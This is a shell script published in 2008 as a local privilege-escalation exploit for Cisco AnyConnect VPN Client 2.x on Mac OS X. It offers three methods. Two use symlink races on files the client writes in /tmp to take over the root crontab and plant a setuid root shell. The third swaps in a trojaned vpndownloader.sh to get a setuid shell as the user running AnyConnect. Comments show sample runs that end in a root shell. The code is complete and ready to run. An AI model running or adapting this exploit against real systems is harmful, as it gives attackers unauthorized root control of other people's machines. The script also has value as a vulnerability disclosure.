#!/bin/sh

# Exploits a series of trivial race condition in Cisco's AnyConnect VPN
# Client.  Tested only on version 2.2.0128, but I suspect there is no
# reason for this not to work on any 2.x version until Cisco fixes it.
# This particular bit of exploit code is only for Mac OS X installations.  
# Exploit code for Linux installations of Cisco AnyConnect, along with this
# code in its original form, can be had from
# http://spoofed.org/files/exploits# 
#
# Jon Hart <jhart@spoofed.org>, April 2008

SETUID_SHELL=""

setuid_shell() {
   SH_C="sh_c-$$.c"
   # write out setuid shell
   echo "main() { seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }" > $SH_C

   # try like hell to get this shell compiled
   SETUID_SHELL=`mktemp /tmp/vpnshell-$$.XXXXXX`
   gcc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1
   if [ $? != 0 ]; then
      cc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1
      if [ $? != 0 ]; then
         echo "No cc/gcc found, or something went wrong"
         cp /bin/sh /tmp/sh
         SETUID_SHELL=/bin/sh
      fi
   fi
   rm -f $SH_C
}

crontab_pwn() {
   TARGET_FILE=$1
   TARGET_USER=$2
   if [ -h $TARGET_FILE ]; then
      echo "$TARGET_FILE already exists -- sloppy seconds!  Best cleanup."
      rm -f $TARGET_FILE || exit 1
   fi

   if [ -f $TARGET_FILE ]; then
      echo "$TARGET_FILE already exists"
      echo "Waiting ... but this probably won't work."

      while (true); do
         if [ ! -f $TARGET_FILE ]; then
            echo "$TARGET_FILE no longer exists -- Go time"
            break
         fi
         echo -n "."
         sleep 1 
      done
   fi

   
   USER_CRONTAB=`mktemp /tmp/crontab-$$.XXXXXX`
   TARGET_CRONTAB=/var/cron/tabs/$TARGET_USER

   if [ -f $TARGET_CRONTAB ]; then
      echo "$TARGET_USER crontab already exists.  Cannot exploit."
      exit 1
   fi

   # Thanks to Marco Ivaldi and KF for this
   cat >> $USER_CRONTAB << EOF
   * * * * * /bin/echo > /dev/null
EOF

   crontab -l 2>&1 > /dev/null
   if [ $? -ne 0 ]; then
      echo "[*] Creating bogus cronjob for $USER so that cron is running"
      crontab $USER_CRONTAB
      rm -f $USER_CRONTAB
   fi

   echo "[*] Setting up to-be-setuid shell"
   setuid_shell

   echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob"
   ln -s $TARGET_CRONTAB $TARGET

   echo "[*] Waiting for symlink to be followed"
   while (true); do
      if [ ! -h $TARGET_FILE ]; then
         echo
         echo "[*] $TARGET_FILE disappeared.  Installer probably starting"
         echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob"
         ln -s $TARGET_CRONTAB $TARGET_FILE
      fi 

      if [ -f $TARGET_CRONTAB -a -w $TARGET_CRONTAB ]; then
         rm -f $TARGET_FILE
         cat /dev/null > $TARGET_CRONTAB
         echo "* * * * * /usr/sbin/chown $TARGET_USER $SETUID_SHELL; /bin/chmod 4555 $SETUID_SHELL; /usr/bin/crontab -r" > $TARGET_CRONTAB
         echo
         echo "[*] $TARGET_USER cronjob written"
         break
      else
         echo -n "."
         sleep 1
      fi 
   done

   echo "[*] Waiting for shell"
   while (true); do
      if [ -u $SETUID_SHELL ]; then
         echo 
         echo "[*] Success -- setuid $TARGET_USER shell is $SETUID_SHELL"
         exec $SETUID_SHELL
      else
         echo -n "."
         sleep 1 
      fi
   done 
      
}

method_1() {
   # Our target is /tmp/routechangesv4.bin, which gets written mode 666 by the
   # root user every time the client is launched.  Technique is to symlink it
   # to a hopefully non-existent root crontab, and then modify that crontab
   # when it gets installed to do our bidding.  This is also exploitable at
   # install time, albeit a bit less reliably.

   # sh-2.05b$ id
   # uid=502(test) gid=502(test) groups=502(test)
   # sh-2.05b$ ./cisco-anyconnect-mac-exploit.sh 
   # [*] Creating bogus cronjob for test so that cron is running
   # [*] Setting up to-be-setuid shell
   # [*] Creating symlink for /tmp/routechangesv4.bin to root cronjob
   # [*] Waiting for symlink to be followed
   # ....
   # [*] Root cronjob written
   # [*] Waiting for shell
   # ........
   # [*] Success -- setuid root shell is /tmp/vpnshell-6797.XXXXXX.oCBcJC8U
   # sh-2.05b# id
   # uid=0(root) gid=0(wheel) groups=0(wheel)
   # sh-2.05b# pwnd.

   crontab_pwn "/tmp/routechangesv4.bin" root
}

method_2() {
   # This method counts on a hardcoded "temporary" directory that
   # VPNJava.jar uses to place the vpndownloader.sh script.  The exploit
   # technique here is to create the temporary directory world writable,
   # wait for AnyConnect to drop vpndownloader.sh in there and then swap it
   # out with a version that we control.  This is exploitable when
   # AnyConnect is first installed or if it determines at runtime that
   # a new version is available from the VPN server.  This does not yield
   # root.  This gets you a setuid shell as the user running AnyConnect 

   # jhart-mac:/tmp test$ id
   # uid=502(test) gid=502(test) groups=502(test)
   # jhart-mac:/tmp test$ ./cisco-anyconnect-mac-exploit.sh 2
   # [*] Cisco AnyConnect 2.2.0128 (2.x) race condition exploit(s)
   # [*] by Jon hart <jhart@spoofed.org>
   #
   # [*] Waiting for installer to create /tmp/Temp8-Vpn2e8/vpndownloader.sh
   # .....
   # [*] /tmp/Temp8-Vpn2e8/vpndownloader.sh created
   # [*] Waiting for setuid user shell
   #
   # [*] Success: setuid shell is /tmp/sh:
   # sh-2.05b$ id
   # uid=502(test) gid=502(test) euid=501(jhart) groups=502(test)
   # sh-2.05b$ pwn
   # sh: pwn: command not found
   # sh-2.05b$ d

   TARGET_DIR="/tmp/Temp8-Vpn2e8"
   TARGET_FILE="$TARGET_DIR/vpndownloader.sh"
   SETUID_SHELL="/tmp/sh"
   if [ -d $TARGET_DIR -a -O $TARGET_DIR ]; then
      rm -Rf $TARGET_DIR
   elif [ -d $TARGET_DIR ]; then
      echo "$TARGET_DIR already exists as a directory -- Cisco AnyConnect VPN client already installed.  This exploit method will not work."
      exit 1
   fi

   mkdir $TARGET_DIR
   chmod 777 $TARGET_DIR

   echo "[*] Waiting for installer to create $TARGET_FILE"
   while (true); do
      if [ -f $TARGET_FILE ]; then
         echo
         echo "[*] $TARGET_FILE created"
         # Attempt to salvage and use what is downloaded so as not to ruin
         # the user experience.  Generally does not work given huge
         # variances in system load and bandwidth.  Its the thought that
         # counts, though.
         cp $TARGET_FILE $TARGET_FILE.$$
         rm -f $TARGET_FILE
         SETUID_SHELL="/tmp/vpnshell-$$"
         cat > $TARGET_FILE << EOF
#!/bin/sh
cp /bin/ksh $SETUID_SHELL
chmod 4555 $SETUID_SHELL
$TARGET_FILE.$$ "\$*"
EOF
         chmod 755 $TARGET_FILE $TARGET_FILE.$$
         break
      else 
         echo -n "."
         sleep 1
      fi
   done

   echo "[*] Waiting for setuid user shell"
   while (true); do
      if [ -u $SETUID_SHELL ]; then
         echo
         echo "[*] Success: setuid shell is $SETUID_SHELL:"
         exec $SETUID_SHELL
      else 
         echo -n "."
         sleep 1 
      fi
   done
}

method_3() {
   crontab_pwn "/tmp/vpn-uninstall.log" root
}

echo "[*] Cisco AnyConnect 2.2.0128 (2.x) race condition exploit(s)"
echo "[*] by Jon hart <jhart@spoofed.org>"
echo

if [ "X$1" == "X1" ]; then
   method_1
elif [ "X$1" == "X2" ]; then
   method_2
elif [ "X$1" == "X3" ]; then
   method_3
else 
   method_1
fi
